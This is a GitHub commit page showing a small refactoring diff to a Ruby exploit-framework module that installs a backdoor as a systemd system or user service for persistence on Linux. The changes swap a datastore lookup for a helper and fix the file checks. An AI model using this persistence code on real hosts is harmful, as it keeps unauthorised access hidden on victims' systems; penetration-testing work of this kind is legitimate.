Skip to content

Commit e3cad5b

Browse files
committed
systemd updated with mixin udpates
1 parent 2969611 commit e3cad5b

File tree

1 file changed

+9
-8
lines changed

1 file changed

+9
-8
lines changed

modules/exploits/linux/persistence/init_systemd.rb

Lines changed: 9 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -83,13 +83,13 @@ def initialize(info = {})
8383
end
8484

8585
def check
86-
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
86+
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
8787
print_warning('User doesnt have root permissions, yet target set to systemd, likely need to change target to systemd user.') if target.name == 'systemd' && !is_root?
88-
return CheckCode::Safe("#{datastore['WritableDir']} doesnt exist") unless exists?(datastore['WritableDir'])
89-
return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir'])
88+
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
89+
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
9090
return CheckCode::Safe('Likely not a systemd based system') unless command_exists?('systemctl')
9191

92-
CheckCode::Appears("#{datastore['WritableDir']} is writable and system is systemd based")
92+
CheckCode::Appears("#{writable_dir} is writable and system is systemd based")
9393
end
9494

9595
def target_user
@@ -99,8 +99,8 @@ def target_user
9999
end
100100

101101
def install_persistence
102-
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
103-
backdoor = write_shell(datastore['WritableDir'])
102+
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
103+
backdoor = write_shell(writable_dir)
104104

105105
path = backdoor.split('/')[0...-1].join('/')
106106
file = backdoor.split('/')[-1]
@@ -158,7 +158,7 @@ def systemd(backdoor_path, backdoor_file)
158158
vprint_status("Writing service: #{service_name}")
159159
write_file(service_name, script)
160160

161-
fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?("/lib/systemd/system/#{service_filename}.service")
161+
fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)
162162

163163
@clean_up_rc << "rm #{service_name}\n"
164164
if datastore['EnableService']
@@ -196,7 +196,8 @@ def systemd_user(backdoor_path, backdoor_file)
196196
service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service"
197197
vprint_status("Writing .local service: #{service_name}")
198198
write_file(service_name, script)
199-
fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?("#{home}/.local/share/systemd/user/#{service_filename}.service")
199+
fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)
200+
@clean_up_rc << "rm #{service_name}\n"
200201
end
201202

202203
# This was taken from pam_systemd(8)

0 commit comments

Comments
 (0)